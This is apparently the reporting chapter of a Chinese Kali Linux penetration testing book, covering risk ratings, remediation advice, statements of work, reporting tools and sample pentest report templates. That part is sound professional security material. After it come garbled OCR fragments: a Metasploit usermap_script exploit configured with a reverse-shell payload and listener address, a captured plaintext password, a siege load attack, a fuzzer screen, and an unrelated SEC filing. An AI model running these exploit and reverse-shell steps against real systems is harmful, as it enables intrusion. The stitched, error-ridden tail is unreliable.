 能够用MS SQL的默认系统管理员登录凭据访问旧有的EMR主机。这种访问权限可以让我们创建管理员账户，查看系统进程、用户账户、数据库文件，并支持文件传送和执行。拿到这种级别访问权限的攻击者具备中断依赖该主机的所有业务进程的能力。


服务提供商
 还能用服务器消息区块（SMB，Server Message Block）的Null用户账户来从域名服务器（DNS，Domain Name Server）上枚举用户账户名及群组。攻击者可以用这些信息来对客户
 的雇员进行有针对性的钓鱼攻击，或是进行账户密码的暴力破解攻击。成功获得管理员登录凭据的攻击者可以创建其他用户账户，然后给这些账户分配目标业务角色，这样就能利用用户群组的权限完成某些操作。

整体来看，找出的对系统构成威胁的结果都可以通过简单的设备或软件配置设定加上支持政策来降低危害。

漏洞评估和渗透测试总结：


客户
 向服务提供商
 提供了8个IP地址，如下表中所列。我们对其进行了以下范围的端口扫描，以便找出开放的端口和相关主机上运行的服务。







	

  IP地址  


	

  主机名  


	

  TCP端口  





	
  192.168.10.20  

	
  SERV001  

	
  42,53,88,135,139,445,464,53,636,1025,1 071,1075,1145  




	
  192.168.10.23  

	
  SERV542  

	
  135,139,445,1433,3300  




	
  192.168.10.154  

	
  SERV239  

	
  135,139,445,1433,3389  




	
  192.168.10.204  

	
  SERV777  

	
  80,135,139,445,1443  




	
  172.18.10.100  

	
  SERVSQL123  

	
  135,139,445,1433,1434,3372,3389,5022, 8400,8402  




	
  172.18.10.101  

	
  SERVSQL124  

	
  135,139,445,1433,1434,3372,3389,5022, 8400,8402  




	
 172.18.10.105 

	
 database.intern.com 

	
 80,443 




	
 172.18.10.200 

	
 corp.com 

	
 80 







8.5.8　调查结果总结



调查结果总结是支撑提案的干货。这部分通常含有对服务中调查结果的解释，包括已找到的条目可能会如何影响业务。如何格式化展示这些结果将会对客户的反应产生决定性影响，所以不仅要知道该提哪些内容，还要考虑好如何展示这部分数据。

最佳实践是提供一个风险排名来帮助客户理解如何针对找到的结果进行响应。常见的排名特征包括可能性、风险评估、图表、色彩对比等。我们推荐同时提供一个总结图表和一个列出所有调查结果的详细部分。要支持你的调查结果，最佳实践是引用公开来源说明找出的资产为什么有问题，以此来进一步验证总结。公开来源可以是违背惯例、不符合强制标准或是来自信誉度较高消息源的已知漏洞说明。

举个例子。




	
危急
 影响关键业务流程的紧急威胁。

	
高危
 影响关键业务流程的非直接威胁/影响次要业务流程的威胁。

	
危险
 影响业务流程的非直接/部分危险。

	
低危
 不存在直接威胁。漏洞可以对其他漏洞产生影响。



由于在被测系统中发现的最高风险等级是危急，所以被测系统的当前风险等级为危急。具体调查结果为1个危急
 漏洞，2个危险
 漏洞，2个低危
 漏洞，如下表所示：







	

 漏洞 


	

 危害度 





	
 漏洞A 

	
 危急 




	
 漏洞B 

	
 危险 




	
 漏洞C 

	
 危险 




	
 漏洞D 

	
 低危 




	
 漏洞E 

	
 低危 




	

 评估调查结果总结表 





	

 扫描类型 


	

 总数 





	
 主机 

	
 9 




	
 端口 

	
 TCP、UDP、1~65535 




	

 漏洞危害度 


	

 总数 





	
 危急 

	
 1（去重后：1） 




	
 危险 

	
 2（去重后：2） 




	
 低危 

	
 2（去重后：2） 






 “去重”
 是指找到同一风险等级中漏洞后其中不同漏洞的数目。举个例子，如果我们找到了五个高危漏洞，但去重后只有三个，有些漏洞可能不止在一个系统中存在。



8.5.9　漏洞



在描述已发现的漏洞时，应该尽可能地详尽清晰，至少应该指出导致漏洞出现的缘由、漏洞对业务运营的影响以及被利用的可能性。报告还应该指出漏洞是如何被找出来的，以及它是否可验证，也就是说，漏洞可被利用还是只是在扫描中发现的可能的漏洞。在描述客户的服务架构中存在的漏洞时，还应该用抓取的流量数据制成一张图表，以便进一步说明问题，这样客户才可以验证修复方案是否有效。

在交付的报告中，还可以加入一些细节，具体描述已发现的漏洞，如下所列：




	漏洞名称；

	对业务影响的严重性；

	漏洞描述；

	技术细节；

	受影响的系统；

	受影响的端口；

	建议采取的行动。






除了说明系统存在的漏洞以外，这里还有一些通用调查结果，你可能需要添加到要交付的报告中，借此来提升报告的附加值。举个例子，所有美国联邦机构都要有能够支持IPv6的设备是个强制要求。虽然没有这类设备不算是漏洞，不过，美国联邦机构客户可能会希望知道这一点。另一个例子是支持一些未来技术，比如支持VoIP
 （Voice over IP）技术和视频技术。

下面是一个应该包含到渗透测试服务中提高附加值的调查结果的推荐列表：




	设备开机和运行配置的差异性；

	背离最佳实践；

	对IPv6的支持；

	停售或寿命已终止的设备；

	对VoIP和视频技术支持的能力；

	遵从通用标准，如FISMA、PCI等；

	发现的设备序列号、IP地址、MAC地址等的列表；

	网络拓扑；

	可用的协议和接入公网的数据。





8.5.10　网络考虑的因素及建议



本节将会针对在服务中发现的漏洞提供一些修复建议。这些建议既包括整体建议，比如“给系统打个补丁”，也包括关闭漏洞的一些详细步骤。有些修复步骤可能会影响其他服务，比如关闭端口来防御特定类型的攻击，这可能会影响其他使用该通道进行通讯的系统。此外，还有一些事情也很重要，例如，提醒客户可能存在的负面影响，建议他们修复漏洞，并且要事先告知客户，即使按照修复步骤进行操作，一些问题也无法百分之百得到解决，一些系统也仍然无法满足特定的规定。否则，你可能就要面对自己最不愿意看到的一件事情，那就是服务结束后，如果客户被攻击了，他们会指责你没有提供正确的修复步骤来修复已发现的漏洞。


 在交付报告中说明你所提供的服务包含哪些保证或涵盖哪些内容，这一点非常重要。因为，如果你没有说明自己提供的服务有哪些，也没有说明并不能保证一定符合特定标准或要求的话，当客户未成功通过审计时，他们可能会认为这是由于你前面的服务不到位。举个例子，在服务中包含一份PCI报告，跟实际和一个PCI专家签约来审核与客户网络相关的规定的方方面面非常不同。后者跟审计人员采取的方式更像。

修复也会分成很多等级。有时业务架构中的网络会暴露出一些不足，但有时这仅是政策上或配置上没有覆盖全，或是缺一个补丁。建议中应包括的要素有：调查结果总结、整体的和详细的修复建议和要求内容之外的其他有用数据——如支持IPv6的能力、网络设计的变化、对硬件、软件和补丁的建议，以及标准吻合度总结。

举个例子。

我们建议客户
 通过订购我们的服务来积极地管理技术风险和网络安全。鉴于本次渗透测试中未覆盖的地方对整个企业的影响，我们建议客户
 安排合适的资源来保证修复工作及时完成。尽管给出要部署的服务的完整列表已经超出了本次合同的范围，我们还是要指出一些很重要的整体建议。




	
实施补丁管理项目
 许多找出的漏洞都可以通过恰当的补丁管理来避免。我们建议你在制定恰当的补丁管理的安全策略时参考NIST SP 800-408中列出的指导大纲。这能降低正在运行的有漏洞系统的风险。

	
加强对横跨所有系统的变更的管控
 常见漏洞都是人为造成的。许多非正当配置问题都可以通过所有活跃系统上的严格的变更和控制流程来避免。

	
采用多个因素和基于角色的访问控制
 我们发现一些关键系统将密码安全作为唯一的验证授权个体的途径。最佳实践是至少有两种形式的身份认证系统，并限制管理员账户的访问权限。

	
限制对关键系统的访问
 关键系统应该通过白名单、ACL、VLAN或其他方法从其他系统中分离出来。最小权限系统的设计理念就是限制攻击者通过被攻陷的资源可能会造成的损失总额。你可以查看NIST SP 800-27 Rev A11来了解符合IT系统安全基准线的指导大纲。

	
将漏洞评估常规化
 你们应该规律性地进行漏洞评估来作为验证企业当前风险状态的方法。你可以参考NIST SP 800-309来了解更多有关运营一个有效的风险管理项目的指导原则。

	

包括关键系统和网络的高可用性
 在评估过程中，我们发现了至关重要的系统上出现了单点失败。最佳实践是准备一些网络错误事件中的故障恢复备选方案。这里有个改进过的连接到核心数据中心的流量方案的例子，我们为数据中心网络添加了冗余备份系统，如下图所示。










8.5.11　附录



附录中要列出所有跟交付报告相关的其他信息，通常跟主要调查结果没太大关系。这部分内容通常是用作参考，可以包含扫描的结果、抓取的截图和其他信息。

示例：



附录001 - Nessus漏洞扫描报告







<抓取的Nessus报告打印件>





8.5.12　术语表



术语表用于定义提案中术语的含义。术语可能是针对技术定义、指出所参考的规范的术语背后的需求、或是需要进一步说明的其他领域。




8.6　工作说明书（SOW）



在开始进行渗透测试之前，你可能需要编写一份工作说明书（SOW，Statement of Work），说明将要执行的工作内容。在项目开始之前，你和利益相关者需要完成的第一件事情通常就是确定工作说明书。

在编写工作说明书时，我们建议你使用和最终的报告结构一致的格式。工作说明书的基本格式包括如下内容。




	
执行报告
 简要描述工作内容、工作目标以及针对的读者。



以下是一个工作说明书的执行摘要样例。


服务提供商
 很高兴为客户
 介绍我们进行安全评估的方法。客户
 发起这项工作的主要目的是对组织内当前的风险度进行详细评估，旨在制定和/或实施应对方案，以减少严重的安全问题，最终缓解相关风险。

为满足客户
 需求，服务提供商
 提供了有效的安全评估策略，这一策略已经在多个类似组织的安全评估中使用，效果令人满意。我们将首先了解与此项评估相关的业务需求，接着对评估范围内的现有基础设施绘制拓扑结构图，收集基线数据。在完成对基础设施的考察后，我们将对核心系统和关键网络设备进行系统的安全漏洞评估，以发现可能被利用的入侵载体。之后我们将制定周密的利用方法，经审查后执行，以确定此前发现的漏洞是否存在。在这一阶段，我们将使用渗透测试和社会工程等技术。最后，在此次工作过程中我们每周都将举行工作进度会议，回顾一周工作，确定下一步工作的主要目标。客户
 可以通过每周工作进度会议，告知我们的工程师有哪些正在进行的系统升级需要特别予以关注。服务提供商
 将提供可靠的专业项目管理人员，以确保运营质量，提供良好的用户体验。


服务提供商
 深知，要保持业务稳定，组织的安全状况需要持续评估和改进。我们相信，此次工作将使系统风险降至最低，将业务暂停时间缩至最短，从而降低运营费用，同时还能提供数据保护，提升客户
 的品牌信誉。

此外，安全评估的结果还能帮助客户进行未来服务的规划，获得更好的业务性能和盈利能力。安全评估带来的这些益处与客户
 的目标高度一致。




	更好地理解客户
 网络的潜在安全漏洞和风险。

	发现客户
 基础设施中存在的关键的安全结构弱点。

	
评估客户
 网站和对外应用程序的安全性。



	

活动报告
 　所有执行过的漏洞利用的报告（三个层级）。



	
主机报告
 　详细的主机信息，包括侵入的计算机的数量、每台计算机上利用的平均漏洞数和每台计算机上发现漏洞的CVE名。

	
漏洞报告
 　每台计算机上成功利用的漏洞以及可能利用的漏洞的详细报告。

	
客户端渗透测试报告
 每个客户端渗透测试的完整的审计跟踪记录，包括发送的电子邮件模板、采取的漏洞利用、测试结果（成功或失败）以及侵入系统的详细信息。

	
用户报告
 客户端测试报告，其中记录点击了哪些链接，点击时间以及点击者。





8.6.1　外部渗透测试



从外部进行渗透测试应该进行特别的考虑。一个外部渗透测试工作说明书需要指明测试攻击的目标，攻击中可能使用的步骤，还要定义测试何时停止，或者哪些情况超出了测试范围。换言之，工作说明书定义了测试的范围。

下一段是外部渗透测试摘要的一个样例。这个样例概括了测试流程，给出了详细的执行步骤，还说明了客户和应用程序所有者的职责。

外部Web测试工作说明书样例：

我们进行外部Web渗透测试，主要目的是利用网络边界、Web域以及Web应用中固有的安全弱点。相关的应用（包括后台数据库和中间件）也属于测试的范畴，也会进行评估。在这一阶段，我们主要关注的是与缓存溢出、SQL注入以及跨站脚本相关的常见漏洞。我们的工程师也会以手工方式浏览Web域，以获取其他敏感信息和关键数据。此外，应客户
 的要求，此次渗透测试还会对DMZ设备进行测试，尝试消除Web应用程序域的逻辑安全防护。

具体测试流程如下。


服务提供商
 将对Web应用程序域完成如下测试流程：




	根据客户的网站信息，确认待测试的服务器，同时抓取网站上发布的网址；

	利用主流的搜索引擎获取指定域的地址；

	在PGP
 和WHOIS
 数据库中找到地址；

	同时发起多个攻击，以加速渗透测试过程；

	通过安装在系统内存中的离散代理，与被侵入的机器进行交互；

	运行本地攻击，从机器内部（而非通过网络）进行攻击；

	分析客户的、定制的以及标准的Web应用程序，寻找安全弱点；

	使用动态生成的攻击，模拟一个攻击者，尝试使用各种路径和方法进行攻击，验证安全漏洞；

	使用命令行和数据库控制台，与Web服务器文件系统以及数据库进行交互，演示攻击造成的后果；

	在不破坏Web应用程序或在目标机器上运行代码的情况下，执行渗透测试。



客户职责如下。




	确认需要进行评估的Web域。在渗透测试期间告知用户服务进行维护以及/或服务受到的影响。

	如果待测试的Web域和边界设备不允许公共访问，确保测试获得访问权限。





8.6.2　工作说明书附加材料



在编写工作范围说明时，你还应该考虑其他一些方面。我们推荐你在工作说明书中包含如下一些常见内容。




	
法律和测试免责
 　通常这部分内容是由律师预先批准的标准文字，使应用程序所有者放弃追究服务提供商在渗透测试中造成任何损失的责任。

	

方法和手段
 　即你计划如何执行渗透测试（测试规则），客户如何获知项目进度和时间表，以及客户如何提供测试输入。下面的图表提供了一个工作说明书的方法样例。






	

收费标准
 　工作时间以及费用。这部分内容可以按项目阶段细分，如果预期时间可能超过预计价格，应该在文档中注释说明。



	
期望和职责
 　在项目生命周期中，服务提供商和客户各自的任务。如果服务提供商或者客户负责的步骤是项目未来阶段的先决条件，应该在文档中注释说明。

	
资质和工具
 　客户通常会审查审计人员的资质，以及用于完成任务的工具。在工作说明书中提供这些信息会提高你的可信度和专业度。如果在项目开始就提供了可能用到的工具信息，那么在项目过程中如果因为工具的使用造成负面影响，客户也较少会做出负面的反应。



下面的表格样例不仅列出了测试中将使用的工具，还给出了渗透测试人员的专业技能和证书：







	

 



认证和证书 




	

 



测试工具 







	
 

ISC2信息系统安全认证专家（CISSP，ISC2 Certified Information Security Professional） 



	
 

Kali Linux 






	
 

国际电子商务顾问（CEH，International Council of E-Commerce Consultants） 



	
 

Bactrack 5 RC3 






	
 

信息系统审计与控制协会（ISACA，Information Systems Audit and Control Association） 



	
 

AirSnort 






	
 

国际信息系统审计师（CISA，Certified Information Systems Auditor） 



	
 

AirCrack 






	
 

RSA认证管理器8.0（RSA Authentication Manager v8.0） 



	
 

Airsnarf 






	
 

RSA DLP套件认证系统工程师（CSE，RSA DLP Suite Certified Systems Engineer） 



	
 

Airmagnet 






	
 

RSA SecurID Choice/Product 



	
 

Core Impact 






	
 

思科认证互联网专家（CCIE-RS，Security，Voice，Storage，SP） 



	
 

Saint 






	
 

SAINT认证工程师（SAINT Certified Engineers） 



	
 

Rapid 7 






	
 

Qualys认证工程师（Qualys Certified Engineers） 



	
 

Qualys 






	
 

思科高级无线局域网设计专家（Cisco Advanced Wireless Design Specialist） 



	
 

Metasploit 






	
 

PMI项目管理专家（PMP） 



	
 

Plisade 






	
 

思科高级安全售后专家（Cisco Advanced Security Field Specialist） 



	
 

eEye Retina 






	
 

思科高级无线局域网售后专家（Cisco Advanced Wireless Field Specialist） 



	
 

Threat Guard 






	
 

思科安全大师专业伙伴（Cisco Master Security Specialized Partner） 



	
 

  








 有一点很重要：你应该及早解决可能发生的问题。我们的同事和朋友Willie Rademaker有一句名言：“要把事情放在桌面上。”也就是说，在定义项目范围时，要避免意外情况。如果你觉得有什么内容可能会引起争议，就要立刻解决。生日可以充满惊喜，工作中最好还是不要出现任何计划外的情况。




8.7　Kali报表工具



Kali Linux提供一些报表工具，可以对团队获取的信息进行组织，同时还有加密功能。接下来将简单介绍几个能帮助你更好进行渗透测试的工具。



8.7.1 Dradis



Dradis是一个用于信息共享的开源框架。Dradis提供一个集中的信息存储库，跟踪记录完成的任务和未完事项。Dradis可以从团队成员处收集信息，提供工具（例如：Nessus和Qualis），还可以导入信息（例如：漏洞列表）。

要使用Dradis，你可以打开Reporting Tools
 > Documentation
 菜单，选择Dradis
 。Dradis使用标准的浏览器界面，简化了各种用户的合作方式。要开始一个会话，你可以选择在Meta-Server上新建一个项目，设置一个团队成员共享使用的密码。




要登入系统，你需要创建一个用户名并设置一个密码。登入系统后，你就进入了主仪表盘。主仪表盘提供一些向导和演示视频，帮助你了解如何在服务中使用Dradis。



8.7.2　KeepNote



KeepNote是一个用来记笔记的应用程序。KeepNote支持各种文本和图像格式，按层次组织笔记，你可以在其中存储各种类型的笔记，并进行快速的浏览。要使用KeepNote，你可以打开Reporting Tools
 > Documentation
 菜单，选择KeepNote
 。



8.7.3 Maltego CaseFile






CaseFile是一个图形化的智能应用程序，用于判断上百种不同类型的信息之间的关系和真实世界联系。在调查时使用这个工具，信息收集和关系分析工作会更容易。






8.7.4　MagicTree



MagicTree是提高渗透测试生产力的工具，用于数据整合、查询、外部命令执行和报表生成。在MagicTree中，信息以树结构存储，很容易找到之前测试的结果，用于生成报表。



8.7.5　CutyCapt



CutyCapt可以捕捉Webkit的Web页面，存储为各种点阵和矢量图形格式，例如SVG、PDF、PS、PNG、JPEG、TIFF、BMP和GIF。



8.7.6　报告样例



下面是一些报告样例，你可以以此为模板，为你自己的客户生成提交文档。


服务提供商
 向客户
 提交的渗透测试报告。


 这份文档包含了来自服务提供商
 的机密和特许信息，这些信息仅供客户
 内部使用。如果你接收此文档，我们即认为你同意对文档内容保密，未经书面请求和服务提供商的书面许可，不得复制、披露或散布其中任何内容。如果你不是指定的收件人，请注意：任何披露、复制或散布此文档内容的行为都是不允许的。

文档内容：

公司：客户


文档：渗透测试报告

日期：

密级：公开

收件人：公司、姓名、职位

文档历史：

日期：版本、作者、注释

1.0 草稿

2.0 审阅

目录：

1 执行摘要 ………………………………………………………………………………………………………………………… 4



1.1 摘要 …………………………………………………………………………………………………………………………………… 4



1.1.1 方法 ……………………………………………………………………………………………………………………………………4

1.2 范围 …………………………………………………………………………………………………………………………………5



1.3 主要发现…………………………………………………………………………………………………………………………… 6



1.3.1 漏洞A……………………………………………………………………………………………………………………………… 6



1.3.2 漏洞B………………………………………………………………………………………………………………………………6



1.3.2 漏洞C …………………………………………………………………………………………………………………………… 6



1.4 建议……………………………………………………………………………………………………………………………………8



1.5 小结……………………………………………………………………………………………………………………………………10



2 技术报告………………………………………………………………………………………………………………………………12



2.1 网络安全……………………………………………………………………………………………………………………………12



2.1.1 条目1…………………………………………………………………………………………………………………………12



2.1.2 条目2……………………………………………………………………………………………………………………………14



2.2 Web应用程序漏洞……………………………………………………………………………………………………………16



3 结论……………………………………………………………………………………………………………………………………21



附录…………………………………………………………………………………………………………………………………… 22

执行摘要

1.1 摘要


客户
 委托服务提供商
 进行<domain>
 的季度渗透测试。

此次渗透测试于<Date>
 期间进行，各项任务以及测试结果的详细报告内容如下所述。

这项测试的目的是发现位于工作范围内的服务器上运行的配置和Web应用的安全漏洞。测试模拟攻击者或恶意用户的行为。

1.1.1 方法




	大范围扫描，寻找可能用作入侵点的服务或者薄弱区域。

	有针对性的扫描和调查，验证大范围扫描中发现的目标是否存在漏洞。

	测试已发现的薄弱组件，以获取访问权限。

	发现和验证漏洞。

	按照风险级别、潜在损失大小和受攻击的可能性，对漏洞排序。

	进行辅助研究和开发，对结果进行分析。确定需要立即处理的问题，提出推荐的解决方法。

	给出提高安全性的建议。

	知识转移。



在网络层的安全检查中，我们探查了各个服务器的端口，检测是否有服务存在已知安全漏洞。在Web应用程序层，我们检查了Web服务器的配置，并检测Web应用自身是否存在逻辑错误。

1.2 范围

此次渗透测试的范围仅限于下列IP地址：

< IP地址清单 >

< IP地址清单 >

< IP地址清单 >

1.3 主要发现

这一节概括了在此次渗透测试中发现的关键问题。

1.3.1 漏洞A

解释测试中发现的漏洞。

提出补救建议。

1.3.2 漏洞B

解释测试中发现的漏洞。

提出补救建议。

1.3.2 漏洞C

解释测试中发现的漏洞。

提出补救建议。

1.4 建议


客户
 建议客户
 制订一个行动计划，着手解决在此次安全评估中发现的问题。

这份报告中提出的建议分为短期实用建议和长期策略建议两类。短期实用建议可以矫正紧急的安全问题。长期策略建议则关注整体环境、未来趋势和引入安全最佳实践。建议要点如下：

1.4.1 短期实用建议




	建议1

	建议2

	建议3

	建议4

	建议5



1.4.2 长期策略建议




	
主动安全评估
 遵循安全最佳实践，客户
 应当确保其面向互联网的基础设施的任何重大变更都要再次进行外部的安全评估，这种做法可以预防本文档推荐的变更对系统产生影响。

	
入侵检测/防御（IDS/IPS）
 可能遭到恶意攻击的网络应该具有检测入侵的能力，建议为此网络选择一个IDS解决方案。

	
自动化网络访问控制
 推荐的最佳实践是将特定网络访问权限的控制自动化。



1.5 小结

以下表格概括了系统的漏洞评估结果：







	

 



类别 




	

 



描述 







	
 

系统漏洞评估总结 



	
 

  






	
 

活动主机数 



	
 

100 






	
 

安全漏洞数 



	
 

35 






	
 

严重等级为高、中、低的漏洞数 



	
 

21 6 8 







2 技术报告

2.1 网络安全

2.1.1 条目1

描述：

运行服务：SMTP、HTTP、POP3、HTTPS

服务版本信息：

分析

描述

严重等级

中等

2.1.2 条目2

重复条目1内容

总结描述

参考资料：http://www.weblink.com

2.2 Web应用程序漏洞







	

 



风险描述 




	

 



严重等级 




	

 



可能损失 




	

 



入侵概率 




	

 



推荐 







	
 

漏洞A 



	
 

高 



	
 

可能损失 



	
 

入侵概率 



	
 

推荐 






	
 

漏洞B 



	
 

高 



	
 

可能损失 



	
 

入侵概率 



	
 

推荐 






	
 

漏洞C 



	
 

高 



	
 

可能损失 



	
 

入侵概率 



	
 

推荐 






	
 

漏洞D 



	
 

中 



	
 

可能损失 



	
 

入侵概率 



	
 

推荐 






	
 

漏洞E 



	
 

中 



	
 

可能损失 



	
 

入侵概率 



	
 

推荐 






	
 

漏洞F 



	
 

低 



	
 

可能损失 



	
 

入侵概率 



	
 

推荐 






	
 

漏洞G 



	
 

低 



	
 

可能损失 



	
 

入侵概率 



	
 

推荐 






	
 

漏洞H 



	
 

低 



	
 

可能损失 



	
 

入侵概率 



	
 

推荐 







经验证明，只要集中解决这份报告中列出的问题，系统的安全性就可以得到明显的改善。相关人员只要了解并严格执行安全最佳实践，就能解决发现的大部分问题，并不需要高超的技术能力。

附录

这一节提供了意见和结论表格中列出的已知漏洞的屏幕截图。

渗透测试报告

客户：

地址

联系信息

服务提供商：

地址

联系信息


测试渗透报告
 ——客户


目录

执行摘要

总结

测试过程

网络安全漏洞评估

Web服务器安全漏洞评估

权限提升

长期驻守服务器

域权限提升

数据库数据利用

攻击者控制客户事务

结论

建议

风险评级

附录A：漏洞信息以及补救方法

漏洞A

漏洞B

漏洞C

漏洞D

附录B：对客户系统所做改动的清单

附录C：关于Offensive Security公司

执行摘要


客户
 授权服务提供商
 对其外部网站进行渗透测试。测试评估的方式是模拟恶意的攻击者对公司进行目的明确的渗透，从对如下情况做出判断。




	远程攻击者是否可以渗透客户
 的防御。

	安全漏洞对以下方面的影响：
	公司安全的完整性；

	公司信息的保密性；

	内部基础设施以及客户
 信息系统的可用性。







客户将使用评估结果决定未来信息安全计划的方向。所有的测试和操作都在受控条件下完成。

总结


服务提供商
 对客户
 提供的地址空间进行了网络侦察，这段地址空间即为本次的测试范围。服务提供商
 认为客户
 公司可受外部攻击的目标较少，只有一个外部Web站点和在网络侦察中发现的其他服务。

在对客户
 主网站的安全评估中，我们发现该网站安装了一个有安全漏洞的插件。我们成功利用这个插件，取得了管理权限，并使用此权限获得对底层操作系统的交互访问，提升到root权限。


服务提供商
 使用管理权限找到内部网络资源，利用内部网络中的一个漏洞得到了本地系统访问权限，进而提升到域管理员权限，获得了对整个网络基础结构的控制。

测试过程

< 网络漏洞评估详细信息 >

< Web服务器漏洞评估详细信息 >

< 权限提升详细信息 >

< 长期驻守服务器详细信息 >

< 域权限提升详细信息 >

< 数据库数据利用详细信息 >

结论

在外部渗透测试过程中，客户
 受到了一系列的入侵，其最终结果将直接损害公司及其顾客的利益。

本次渗透测试的具体目标如下。




	判断远程攻击者是否可以渗透客户
 的网络防御。

	确定安全漏洞对以下方面的影响：
	公司系统的完整性；

	公司顾客信息的保密性；

	内部基础结构以及客户信息系统的可用性。







基于测试结果，我们认为一个远程攻击者能够渗透客户
 的防御系统。初始的攻击载体是严重风险，因为这种攻击载体可以通自动扫描发现。如果攻击者利用了这种漏洞，就可能会导致客户
 的网络瘫痪，影响客户
 的品牌形象。

建议


客户
 通过我们提供的服务，积极管理技术风险和网络安全，对此我们深表赞同。根据此次渗透测试发现的安全漏洞对整个组织的影响，我们建议客户调配合适的资源，及时采取补救措施。虽然此次测试不提供所需补救措施的完整列表，我们在此提出一些概括性的建议。




	
补丁管理
 测试中发现的很多漏洞可以通过完善的补丁管理得到避免。我们推荐客户遵循NIST SP 800-408中列出的指导方针，制定补丁管理的安全策略。这样可以降低系统中存在漏洞的风险。

	
在所有系统中强制实行变更管理
 常见的安全漏洞是由人为错误导致的。通过在所有运行系统中实行严格的变更管理和控制流程，许多配置错误的问题可以得到避免。

	
使用多因素和基于角色的访问控制
 测试发现，一些核心系统只使用了密码安全这一种方式进行授权用户的验证。我们推荐的最佳实践是至少使用两种认证方式，同时要限制管理帐号的权限。

	
限制对核心系统的访问
 客户应该使用whitelists、ACL、VLAN以及其他方法，将核心系统与其他系统隔离。如果采用最小权限的设计概念，可以限制攻击者利用被侵入资源造成的危害。请参考NIST SP 800-27 RevA11，了解如何为IT系统建立一个安全基线。



风险评级


服务提供商
 为客户
 发现的风险可以分为不同级别，有非常严重的风险，也有等级较低的风险，接下来我们会具体阐述这些风险等级的内涵。服务提供商
 发现了三个非常严重的漏洞，这些漏洞可以用来获得对客户
 内部网络的访问权限。




	
严重
 立即影响核心业务流程。

	
高
 间接影响核心业务流程，或者是影响次要业务流程。

	
中
 间接或部分影响业务流程。

	
低
 没有直接影响。漏洞可能与其他漏洞一起利用。



根据在测试中系统发现的最高风险级别，被测试系统的当前风险级别为严重，共发现三个严重漏洞、两个中度风险漏洞和两个低风险漏洞。

附录：漏洞信息以及缓解方法

<漏洞A信息>




8.8　小结



作为本书的最后一章，这一章给出了渗透测试完成后编写专业的客户提交报告的指导意见。虽然侵入系统以及其他的技术工作非常有趣，但是详尽的报告和扎实的业务实践才能帮你挣钱养家。要想成功地提供专业服务，你必须在相关领域成为受人信赖的专家。具体到安全领域，你必须能够帮助客户符合行业规范，降低安全漏洞的风险，以及提高识别风险的能力。

这一章第一部分内容讨论的是遵从规范，因为帮助客户遵从规范是展示你提供的服务价值的常用方法。我们发现，如果客户担心不能达到规定，或者近期遭遇到安全事故，通常会拨出预算购买相关服务。因此，了解常用标准可以帮助你为用户提供更好的服务。接着，我们介绍了服务收费的不同方式，以及在项目报价时需要注意的事项。然后，我们把交付报告分解为不同的部分，给出了向客户提交结果的最佳实践。最后一节介绍了Kali Linux提供的一些报表工具，这些工具可以帮助你生成信息，在客户交付报告中使用。

我们很享受编撰这本书的过程，也希望这本书能够帮助你实现你的Web应用程序渗透测试目标。感谢你阅读本书。
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Unix
unix
unix
unix

Unix

pst exploit(usernap_script) > set PAYLOAD cnd/unix/reverse

PAYLOAD => cmd/unix/reverse
ast exploit{usermap script) > show optionsll

Command Shell, Bind TCP (via P
Connand Shell, Bind TCP (via p
Conmand Shell, Bind TCP (via R
Conmand Shell, Bind TCP (via R
Conmand, Generic Command Execu
Conmand Shell, Double reverse
Conmand Shell, Reverse TCP (vi
Coamand Shell, Reverse TCP (vi
Conmand Shell, Reverse TCP (vi

Conmand Shell, Reverse TCP (vi
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[#] WE GOT A HIT! Printing the output:

PARAM: UserName=Ladi

POSSIBLE PASSWORD FIELD FOUND: UserPassword=IloveToDance
PARAM: target=%2f

PARAM: Log+0n. x=59

PARAM: Log+0n.y=10

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
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1. Location

Enter the full path (starting with /) to the image file.

If the image is split (either raw or EnCase), then enter * for the
extension.

root/mytestimage.dd ]

2. Type
Please select if this image file is for a disk or a single partition.
O Disk @ Partition

3. Import Method

To analyze the image file, it must be located in the evidence locker. It
can be imported from its current location using a symbolic link, by
copying it, or by moving it. Note that if a system failure occurs during
the move, then the image could become corrupt.

O Symlink ®© Copy O Move
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KALI LINUX

Set up users and passwords

You need to set a password for ‘root’, the system administrative account. A malicious or unqualified user
with root access can have disastrous results, so you should take care to choose a root password that is
Rot easy to guess. It should not be 3 word found In dictionaries, or a word that could be easily
associated with you.

Agood password
regular intervals.

contain a mixture of letters, numbers and punctuation and should be changed at

‘The root user should not have an empty password. if you leave this empty, the root account will be
disabled and the system's initial user account will be given the power to bacome root using the *sudo*
command.

Note that you will not be able to see the password as you type |
Root password:
[

Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to veriy:

Screenshot Go Back Contipue
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rootgkali:~# slege www.thesecurityblogger.com
ox SIEGE 2.70

“* Preparing 15 concurrent [u§ers forf battlel
The server is now under siege .
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& Attack setp | @ Payload generator | 1 Altack results |/ RéquesteR | Encoder = Logs  u Help)

U [itpiwwn hesecuitybloggercomFUZZ

User Agent: Mozila/s.0 (Windows; U; Windows NT 5.1; en-US; 1. 93) Gecko/2008020514 Firefox/3.063

Headers:

POST Data:

Payload type: | Dictionary v Ijectinall parameters: |Headers v|  Authentication: [ basic v

Dictionary : [njections/aversal txt ) [al Encoding FUZZ:  [mds v
Dictionary 2: | vulnsisalinixt v} (aml | Encoding Fuz2z: | i encoder v

Filteing  Discovery options | Connection options.

Thveads: [ | Time delay: [0

proxy: ) Anonymous browsing
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RHOST 172.16.189.131 yes The target address
RPORT 139 yes The target port
Payload options (cmd/unix/reverse):

Name Current Setting Required Description

LHOST yes The listen address

LPORT 4444 yes The listen port
Exploit target:

Id Name

© Automatic

nsf exploit(usermap_script) > set LHOST 172.16.189.5
LHOST => 172.16.189.5

msf exploit(usermap_script) > set LPORT 443

LPORT =>

msf exploit(usermap script) > exploitf]l
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. FORM D ’ OMB APPROVAL OMB|
UNITED STATES 'OMB Number: 3235-0076
SECURITIES AND EXCHANGE COMMISSION ‘Expires: April 30, 2008
‘Washington, D.C. 20549 ‘Estimated average burder hours per
—— il
FORM D
NOTICE OF SALE OF SECURITIES SEC USE ONLY
PURSUANT TO REGULATION D,
SECTION 4(6), AND/OR
08045849 {IFORM LIMITED OFFEI
APR 802008
e T TR =
ssuance of Warrantsfor sharesof Common stoc HOMSON RE - o
Filing Under (Check box(es) that apply): [ JRule 504 [ JRule S05 [XJRule 506 [ JSection4(6) [JULOE _Secion
Toreot P alow g et
A BASICIENTIFICATION BATE i
e T
Name of Tssuer ([ ] check if (his is an amendment and name has changed, and indicaie change.) Washingom, 08—
Lancope, Inc. 108
T e e e e ) TR T

